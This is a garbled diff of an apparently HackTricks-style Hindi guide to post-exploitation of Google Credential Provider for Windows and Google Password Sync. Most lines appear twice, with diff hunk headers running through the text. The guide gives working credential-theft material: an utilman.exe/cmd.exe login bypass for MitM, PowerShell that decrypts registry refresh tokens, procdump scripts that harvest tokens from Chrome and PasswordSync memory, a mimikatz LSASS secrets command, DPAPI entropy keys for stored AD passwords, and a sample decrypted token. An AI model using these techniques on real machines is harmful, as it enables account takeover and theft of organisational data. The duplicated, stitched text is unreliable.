यह एकल साइन-ऑन है जो Google Workspaces प्रदान करता है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए टोकन संग्रहीत करेगा। यह Google Workspaces द्वारा प्रदान किया गया सिंगल साइन-ऑन है ताकि उपयोगकर्ता अपने Windows PCs में **अपने Workspace क्रेडेंशियल्स** का उपयोग करके लॉगिन कर सकें। इसके अलावा, यह कुछ स्थानों पर Google Workspace तक पहुँचने के लिए टोकन संग्रहीत करेगा।
> [!TIP] > [!TIP]
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCPW** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहाँ तक कि टोकन** प्राप्त करने में सक्षम है। > ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GCPW** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहाँ तक कि टोकन** प्राप्त करने में सक्षम है।
### GCPW - MitM ### GCPW - MitM
जब एक उपयोगकर्ता GCPW के माध्यम से Google Workspace के साथ समन्वयित Windows PC तक पहुँचता है, तो उसे एक सामान्य लॉगिन फॉर्म पूरा करना होगा। यह लॉगिन फॉर्म एक OAuth कोड लौटाएगा जिसे PC एक अनुरोध में रिफ्रेश टोकन के लिए विनिमय करेगा जैसे: जब एक उपयोगकर्ता GCPW के माध्यम से Google Workspace के साथ समन्वयित Windows PC तक पहुँचता है, तो उसे एक सामान्य लॉगिन फॉर्म पूरा करना होगा। यह लॉगिन फॉर्म एक OAuth कोड लौटाएगा जिसे PC एक अनुरोध में रिफ्रेश टोकन के लिए विनिमय करेगा जैसे:
```http ```http
POST /oauth2/v4/token HTTP/2 POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com Host: www.googleapis.com
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome &device_type=chrome
``` ```
नई पंक्तियाँ इसे अधिक पठनीय बनाने के लिए जोड़ी गई हैं।
> [!NOTE] > [!NOTE]
> एक MitM करने के लिए `Proxifier` को PC में स्थापित करना संभव था, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करना और Windows लॉगिन पृष्ठ में **एक्सेसिबिलिटी फीचर्स** को निष्पादित करना, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier को लॉन्च और कॉन्फ़िगर** कर सकते हैं।\ > यह संभव था कि `Proxifier` को PC में स्थापित करके MitM किया जा सके, `utilman.exe` बाइनरी को `cmd.exe` के साथ ओवरराइट करके और Windows लॉगिन पृष्ठ में **accessibility features** को निष्पादित करके, जो एक **CMD** को निष्पादित करेगा जिससे आप **Proxifier** को **लॉन्च और कॉन्फ़िगर** कर सकते हैं।\
> `Proxifier` में QUICK UDP ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो जाए और आप इसे देख सकें। > `Proxifier` में QUICK UDP ट्रैफ़िक को **ब्लॉक** करना न भूलें ताकि यह TCP संचार में डाउनग्रेड हो सके और आप इसे देख सकें।
> >
> "Serviced and other users" में दोनों विकल्पों को भी कॉन्फ़िगर करें और Windows में Burp CA प्रमाणपत्र स्थापित करें। > "Serviced and other users" में दोनों विकल्पों को भी कॉन्फ़िगर करें और Windows में Burp CA प्रमाणपत्र स्थापित करें।
इसके अलावा **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजी जोड़ने से कुछ लॉग स्टोर करना संभव है। इसके अलावा, **`HKLM:\SOFTWARE\Google\GCPW`** में `enable_verbose_logging = 1` और `log_file_path = C:\Public\gcpw.log` कुंजियों को जोड़कर कुछ लॉग स्टोर करना संभव है।
### GCPW - फिंगरप्रिंट ### GCPW - फिंगरप्रिंट
यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंज मौजूद हैं: यह जांचना संभव है कि क्या GCPW किसी डिवाइस में स्थापित है, यह जांचकर कि क्या निम्नलिखित प्रक्रिया मौजूद है या यदि निम्नलिखित रजिस्ट्री कुंजियाँ मौजूद हैं:
```powershell ```bash
# Check process gcpw_extension.exe # Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running." Write-Output "The process gcpw_xtension.exe is running."
@@ -64,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist." Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
} }
``` ```
**`HKCU:\SOFTWARE\Google\Accounts`** में उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन हुआ ह In **`HKCU:\SOFTWARE\Google\Accounts`** में उपयोगकर्ता का ईमेल और एन्क्रिप्टेड **refresh token** तक पहुंचना संभव है यदि उपयोगकर्ता हाल ही में लॉगिन हुआ ह
**`HKLM:\SOFTWARE\Google\GCPW\Users`** में **domains** को खोजा जा सकता है जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकते हैं In **`HKLM:\SOFTWARE\Google\GCPW\Users`** में **domains** को खोजा जा सकता है जो `domains_allowed` कुंजी में लॉगिन करने की अनुमति है और उपकुंजियों में उपयोगकर्ता के बारे में जानकारी जैसे ईमेल, चित्र, उपयोगकर्ता नाम, टोकन जीवनकाल, टोकन हैंडल आदि मिल सकते हैं...
> [!NOTE] > [!NOTE]
> टोकन हैंडल एक टोकन है जो `eth.` से शुरू होता है और जिससे कुछ जानकारी निकाली जा सकती है जैसे: > टोकन हैंडल एक टोकन है जो `eth.` से शुरू होता है और जिससे कुछ जानकारी निकाली जा सकती है जैसे:
@@ -98,20 +96,20 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> } > }
> ``` > ```
> >
> मुझे पता है कि टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है। > मेरी जानकारी के अनुसार, टोकन हैंडल से एक refresh token या access token प्राप्त करना संभव नहीं है।
इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित होने की आवश्यकता नहीं होती)। इसके अलावा, फ़ाइल **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** एक json है जिसमें विभिन्न **settings** की जानकारी होती है जैसे `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (यदि Workspace के कई उपयोगकर्ता कंप्यूटर में लॉगिन कर सकते हैं) और `validityPeriodDays` (दिनों की संख्या जब उपयोगकर्ता को सीधे Google के साथ फिर से प्रमाणित करने की आवश्यकता नहीं होती)।
## GCPW - टोकन प्राप्त करें ## GCPW - टोकन प्राप्त करें
### GCPW - रजिस्ट्री रिफ्रेश टोकन ### GCPW - रजिस्ट्री रिफ्रेश टोकन
रजिस्ट्री **`HKCU:\SOFTWARE\Google\Accounts`** के अंदर कुछ खातों को खोजा जा सकता है जिनमें एन्क्रिप्टेड **`refresh_token`** हो। विधि **`ProtectedData.Unprotect`** इसे आसानी से डिक्रिप्ट कर सकती है। रजिस्ट्री **`HKCU:\SOFTWARE\Google\Accounts`** के अंदर कुछ खातों को **`refresh_token`** के साथ एन्क्रिप्टेड पाया जा सकता है। विधि **`ProtectedData.Unprotect`** इसे आसानी से डिक्रिप्ट कर सकती है।
<details> <details>
<summary>डेटा प्राप्त करें <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> और refresh_tokens को डिक्रिप्ट करें</summary> <summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```powershell ```bash
# Import required namespace for decryption # Import required namespace for decryption
Add-Type -AssemblyName System.Security Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
``` ```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
``` ```
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP_5I) में बताया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर तक पहुंचता है, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा** जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=FEQxHRRP_5I) में बताया गया है, यदि आप रजिस्ट्री में टोकन नहीं पाते हैं, तो **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** से मान को संशोधित (या हटाने) की संभावना है और अगली बार जब उपयोगकर्ता कंप्यूटर का उपयोग करेगा, तो उसे फिर से लॉगिन करने की आवश्यकता होगी और **टोकन पिछले रजिस्ट्री में संग्रहीत होगा**
### GCPW - डिस्क रिफ्रेश टोकन ### GCPW - डिस्क रिफ्रेश टोकन
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
इसके अलावा, एन्क्रिप्टिंग को इस कोड में पाया जा सकता है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216) इसके अलावा, एन्क्रिप्टिंग को इस कोड में पाया जा सकता है: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है। यह देखा जा सकता है कि AESGCM का उपयोग किया गया है, एन्क्रिप्टेड टोकन एक **संस्करण** (**`v10`** इस समय) से शुरू होता है, फिर इसमें [**12B का नॉनस**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) होता है, और फिर इसमें **साइफर-टेक्स्ट** होता है जिसमें अंतिम **mac 16B** होता है।
### GCPW - प्रक्रियाओं की मेमोरी से टोकन डंप करना ### GCPW - प्रक्रियाओं की मेमोरी से टोकन डंप करना
निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **access और refresh tokens** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!** निम्नलिखित स्क्रिप्ट का उपयोग **Chrome** प्रक्रिया को **dump** करने के लिए किया जा सकता है, `procdump` का उपयोग करके, **स्ट्रिंग्स** को निकालें और फिर **एक्सेस और रिफ्रेश टोकन** से संबंधित स्ट्रिंग्स के लिए खोजें। यदि Chrome किसी Google साइट से जुड़ा है, तो कुछ **प्रक्रिया मेमोरी में रिफ्रेश और/या एक्सेस टोकन संग्रहीत कर रही होगी!**
<details> <details>
<summary>Chrome प्रक्रियाओं को डंप करें और टोकन खोजें</summary> <summary>Chrome प्रक्रियाओं को डंप करें और टोकन खोजें</summary>
```powershell ```bash
# Define paths for Procdump and Strings utilities # Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -266,7 +264,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
<details> <details>
<summary>एक-एक करके अक्षर हटाकर एक्सेस टोकन की जांच करें</summary> <summary>एक्सेस टोकन को एक-एक करके अक्षर हटाकर जांचें</summary>
```bash ```bash
#!/bin/bash #!/bin/bash
@@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token
``` ```
</details> </details>
कुछ उदाहरण उन स्कोप्स का उपयोग करते हुए: कुछ उदाहरण जो उन स्कोप्स में से कुछ का उपयोग करते हैं:
<details> <details>
<summary>https://www.googleapis.com/auth/userinfo.email &#x26; https://www.googleapis.com/auth/userinfo.profile</summary> <summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash ```bash
curl -X GET \ curl -X GET \
-H "Authorization: Bearer $access_token" \ -H "Authorization: Bearer $access_token" \
@@ -760,7 +758,7 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary> <summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा बनाए रखने, खोजने और निर्यात करने के उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है। **Google Workspace Vault** Google Workspace के लिए एक ऐड-ऑन है जो आपके संगठन के डेटा के लिए डेटा संरक्षण, खोज और निर्यात के लिए उपकरण प्रदान करता है जो Google Workspace सेवाओं जैसे Gmail, Drive, Chat, और अधिक में संग्रहीत है।
- Google Workspace Vault में एक **Matter** एक **container** है जो एक विशिष्ट मामले, जांच, या कानूनी मामले से संबंधित सभी जानकारी को व्यवस्थित और समूहित करता है। यह उस विशेष मुद्दे से संबंधित **Holds**, **Searches**, और **Exports** प्रबंधित करने के लिए केंद्रीय हब के रूप में कार्य करता है। - Google Workspace Vault में एक **Matter** एक **container** है जो एक विशिष्ट मामले, जांच, या कानूनी मामले से संबंधित सभी जानकारी को व्यवस्थित और समूहित करता है। यह उस विशेष मुद्दे से संबंधित **Holds**, **Searches**, और **Exports** प्रबंधित करने के लिए केंद्रीय हब के रूप में कार्य करता है।
- Google Workspace Vault में एक **Hold** एक **preservation action** है जो विशिष्ट उपयोगकर्ताओं या समूहों पर लागू होता है ताकि उनके डेटा को Google Workspace सेवाओं के भीतर **हटाने या संशोधित करने** से **रोकने** के लिए। Holds यह सुनिश्चित करते हैं कि प्रासंगिक जानकारी कानूनी मामले या जांच की अवधि के लिए सुरक्षित और अपरिवर्तित बनी रहे। - Google Workspace Vault में एक **Hold** एक **preservation action** है जो विशिष्ट उपयोगकर्ताओं या समूहों पर लागू होता है ताकि उनके डेटा को Google Workspace सेवाओं के भीतर **हटाने या संशोधित करने** से **रोकने** के लिए। Holds यह सुनिश्चित करते हैं कि प्रासंगिक जानकारी कानूनी मामले या जांच की अवधि के लिए सुरक्षित और अपरिवर्तित बनी रहे।
@@ -791,17 +789,17 @@ curl -X GET \
-H "Authorization: Bearer $access_token" \ -H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10" "https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
``` ```
अधिक [API endpoints in the docs](https://developers.google.com/vault/reference/rest). More [API endpoints in the docs](https://developers.google.com/vault/reference/rest).
</details> </details>
## GCPW - स्पष्ट पाठ पासवर्ड पुनर्प्राप्त करना ## GCPW - स्पष्ट पाठ पासवर्ड पुनर्प्राप्त करना
GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है: GCPW का दुरुपयोग करके पासवर्ड के स्पष्ट पाठ को पुनर्प्राप्त करने के लिए, **mimikatz** का उपयोग करके **LSASS** से एन्क्रिप्टेड पासवर्ड को डंप करना संभव है:
```bash ```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
``` ```
फिर छिपे हुए को `Chrome-GCPW-<sid>` की तरह खोजें जैसे कि चित्र में: फिर गुप्त को `Chrome-GCPW-<sid>` की तरह खोजें जैसे कि चित्र में:
<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
@@ -4,7 +4,7 @@
## Basic Information ## Basic Information
यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को **AD** और Workspace के बीच **सिंक** में रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है। यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को **AD** और Workspace के बीच **सिंक** रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।
यह `C:\Program Files\Google\Password Sync` में स्थापित होता है जहाँ आप इसे कॉन्फ़िगर करने के लिए बाइनरी `PasswordSync.exe` और `password_sync_service.exe` (सेवा जो चलती रहेगी) पा सकते हैं। यह `C:\Program Files\Google\Password Sync` में स्थापित होता है जहाँ आप इसे कॉन्फ़िगर करने के लिए बाइनरी `PasswordSync.exe` और `password_sync_service.exe` (सेवा जो चलती रहेगी) पा सकते हैं।
@@ -14,13 +14,13 @@
- Google के साथ **OAuth** के माध्यम से लॉगिन करें और फिर यह **रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा** - Google के साथ **OAuth** के माध्यम से लॉगिन करें और फिर यह **रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा**
- GUI के साथ डोमेन कंट्रोलर्स में ही उपलब्ध - GUI के साथ डोमेन कंट्रोलर्स में ही उपलब्ध
- **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **Service Account क्रेडेंशियल्स** (json फ़ाइल) देना - **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **सेवा खाता क्रेडेंशियल्स** (json फ़ाइल) देना
- यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है - यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है
- Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा - Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा
- Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है - Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है
- ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं - ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर होता है। AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर किया जाता है।
### GPS - Dumping password and token from disk ### GPS - Dumping password and token from disk
@@ -29,18 +29,18 @@ AD के संबंध में, इसे वर्तमान **एप्
फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है उनके **`username`** जैसी कॉन्फ़िगरेशन का एक भाग पाया जा सकता है। फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है उनके **`username`** जैसी कॉन्फ़िगरेशन का एक भाग पाया जा सकता है।
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते पर पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **पहुँच योग्य** होते हैं। रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते में पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **पहुँच योग्य** होते हैं।
एन्क्रिप्टेड **पासवर्ड** (यदि कोई हो) कुंजी **`ADPassword`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };` एन्क्रिप्टेड **पासवर्ड** (यदि कोई हो) कुंजी **`ADPassword`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी **`AuthToken`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\ एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी **`AuthToken`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
इसके अलावा, इसे **`0123456789abcdefghijklmnopqrstv`** शब्दकोश के साथ base32hex में भी एन्कोड किया गया है। इसके अलावा, इसे **`0123456789abcdefghijklmnopqrstv`** शब्दकोश के साथ base32hex में भी एन्कोड किया गया है।
ंट्रॉपी मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया था जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग क एंट्रॉपी के लिए मान** दिखाएगा: न्क्रिप्शन मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर इस टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग किए एंट्रॉपी के लिए मान** दिखाएगा:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
ध्यान दें कि इन APIs के लिए कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)। ध्यान दें कि इन APIs के कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।
यदि पासवर्ड सिंक **SA क्रेडेंशियल्स के साथ कॉन्फ़िगर किया गया था**, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा। यदि पासवर्ड सिंक **SA क्रेडेंशियल्स के साथ कॉन्फ़िगर किया गया था**, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा।
@@ -52,7 +52,7 @@ GCPW की तरह, `PasswordSync.exe` और `password_sync_service.exe` प
<details> <details>
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary> <summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
```powershell ```bash
# Define paths for Procdump and Strings utilities # Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
@@ -140,7 +140,7 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes ### GPS - Scopes
> [!NOTE] > [!NOTE]
